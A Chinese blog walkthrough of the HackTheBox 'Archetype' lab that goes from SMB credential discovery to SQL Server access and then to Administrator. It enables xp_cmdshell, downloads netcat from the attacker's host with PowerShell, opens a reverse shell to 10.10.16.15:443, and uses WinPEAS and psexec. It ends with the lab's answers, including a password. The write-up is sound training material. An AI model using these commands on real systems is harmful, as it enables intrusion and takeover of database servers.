HTB_Archetype靶机之sqlserver提权

第一次接触 sqlserver 数据库提权

信息收集

日常扫描,现在的日常扫描基本是用 -sV -v

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000

尝试连接 smb ,无用户密码,只能连接 backups ,发现一个 prod.dtsConfig 文件,打开发现类似数据库账号密码的东西,很多情况都是通过对不同用户分组进行权限设置来管理

┌──(root💀kali)-[~]
└─# smbclient //{target_ip}/backups

在这里插入图片描述

sql server

sqlserver 是一种关系型数据库,之前有一期提到非关系型数据库

如何连接呢,使用推荐工具 impacket 包连接,kali 中自带,windwos 可以使用 sqlserver management 桌面管理工具。我在虚拟机中装了(顺便说一下,今天才知道虚拟机也可以装正版windows)sqlserver视频教程-bilibili 感兴趣的可以看一下

┌──(root💀kali)-[~/tools]
└─# impacket-mssqlclient -h 
┌──(root💀kali)-[~/tools]
└─# impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@{target_ip}

在这里插入图片描述

使用 windows 身份验证模式,一共有两种验证模式,后一种就是指定的数据库账号密码(这里需要设置一个 sqlserver 管理员账号,对数据库引擎具有无限制的访问权限)

在这里插入图片描述

不同的数据库的利用思路也是差不多的,增删改查,写后门,看数据,sqlserver 教程👉 sqlserver教程 sqlserver 和那个常说的 ms-sql 是一个东西

查看所有数据库名

在安装 sqlserver 时,会默认创建 4 个数据库,这个 masterinformation_schema 很类似,test 是我创建的

在这里插入图片描述

  • master
    master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并存在所有其他数据库信息

  • model
    model 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名称

  • msdb
    msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等

  • tempdb
    tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求

    这些系统数据库有它们特有的用处,系统数据库是我们新建数据库的模板

使用 select 语句查看所有数据库信息,发现只有几个默认数据库

select name from sysdatabases

在这里插入图片描述

简单了解

了解 mysql 或其它数据库的同学可以很快上手,新建数据库,表,列,右键编辑前200行添加值

在这里插入图片描述

简单例子,右键选择前1000行查看,都是使用通用的 selectinsertupdatedeleteorder by 等语句 👉sql教程 语句中列值外的中括号可加可不加,通过点 . 来连接库名表名列名

在这里插入图片描述

这就是刚才查询的表,查询name 列的值

在这里插入图片描述

查询数据

通过简单的数据库查询语句获取信息

查看数据库名

select name from sysdatabases          //查询所有数据库名
select db_name()                       //查看当前数据库名

在这里插入图片描述

查看表名

sqlserver 中还存在 information_schema.tablesinformation_schema.columns 两个表

select name from sysobjects where xtype='U'           //查询当前数据库
select * from information_schema.tables               //查询当前数据库
select name from master..sysobjects where xtype='U'   //查看指定数据库的表名 使用..连接

在这里插入图片描述

查看字段名

select name from syscolumns where id = object_id('people')  //查询当前表
select * from information_schema.columns                    //查询当前表
sp_help 'people'                                            //查询指定表 
select name from 数据库名.dbo.syscolumns where id=(select id from 数据库名.dbo.sysobjects where name='表名')    //跨库查询指定数据库某表的列

在这里插入图片描述

在这里插入图片描述

查询具体数据

select * from test..people     //数据库..表名

在这里插入图片描述

常用函数

select is_srvrolemember('sysadmin')                // 判断是否是sa权限 MSSQL数据库的默认系统帐户,具有最高权限
select is_member('db_owner')                       // 判断是否是db_owner权限 可以执行数据库的所有配置和维护活动
select is_srvrolemember('public')                  // 判断是否是public权限 可以使用某些系统过程查看并显示master数据库中的信息

在这里插入图片描述

select @@version                                     // 数据库版本
select @@servername                                  // 查询服务名
select host_name()                                   // 查询主机名
select db_name()                                     // 查询当前数据库名

翻看了一会没看到什么数据,基本都是空的

shell与提权

xp_cmdshell

xp_cmdshell 可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,是 sql servevr 的原生工具,使用方法如下

SQL> EXEC xp_cmdshell { 'command_string' }

因为经常被用于提权操作,所以默认是关闭的,尝试执行 net user 命令,失败

在这里插入图片描述

开启该功能,修改配置,执行如下命令

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

再次执行,成功

在这里插入图片描述

我们所说的 shell 可以理解为一个交互式命令行,能执行系统命令或获取系统权限为佳,现在我们的用户是 sql_svc ,目标是获得 system 权限或 Administrator 权限的一个会话,就这点事

使用 netcat 获取 shell:

本地监听 80 端口,目标机器访问下载 nc

本地 nc 监听,目标机器同样使用 nc 连接获取 shell

nc获取shell

本机监听 80 端口

python3 -m http.server 80
lsof -i:80         //查看端口被哪个进程占用
kill -9 2437       //关掉该进程 2437为pid进程号

监听后访问,可以看到如下界面

在这里插入图片描述

这就是我们当前的目录,将 nc64.exe 放入此目录,访问 本机ip/nc64.exe 就会下载该文件

在这里插入图片描述

使用 wget 访问本机地址下载,失败,无权限

SQL> xp_cmdshell "powershell -c wget http://10.10.16.15/nc64.exe -outfile nc64.exe"

在这里插入图片描述

powershell -c 是以 powershell 方式来执行命令

在这里插入图片描述

我们可以看看当前目录

SQL> xp_cmdshell "powershell -c pwd"

在这里插入图片描述

系统目录,尝试换个目录写,因为系统目录写入一般需要较高权限

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;pwd"

在这里插入图片描述

查看是否写入成功

在这里插入图片描述

本机 nc 监听 443 端口,用来监听目标机器获取 shell 会话

nc -lvnp 443

目标机器连接

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.15 443"

在这里插入图片描述

一通操作,一看还是 sql_svc 用户,稍安勿躁,这个只是相比较来说会更稳定,看看文件,user.txt 管理员目录无权限访问

在这里插入图片描述

提权

下载提权所需文件 WinPEAS,这个 WinPEAS 是一个脚本,用于搜索在 Windows 主机上提升权限的可能方法,进行扫描

C:\Users\sql_svc\Downloads> powershell -c wget http://10.10.16.15/winPEASx64.exe -outfile winPEASx64.exe

在这里插入图片描述

执行

C:\Users\sql_svc\Downloads>winPEASx64

经过一堆花花绿绿,最后结束

在这里插入图片描述

查看第一个 ConsoleHost_history 文件 ,里面是 Administrator 账号的明文密码

在这里插入图片描述

上期使用的 psexec 是在 windows 下安装的,这次使用 kali 自带的 impacket使用

PsExec 是一种轻型 telnet-replacement,可用于在其他系统上执行进程,无需手动安装客户端软件即可完成控制台应用程序的完整交互性。 PsExec 最强大的用途包括在远程系统和远程启用工具(如 IpConfig)上启动交互式命令提示符

impacket-psexec administrator@{target_IP}

在这里插入图片描述

查看文件

在这里插入图片描述

还有诸多地方细节问题不深究,后续会有阶段总结

放答案

1433
backups
M3g4c0rp123
mssqlclient.py
xp_cmdshell
winPEAS
ConsoleHost_history.txt
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值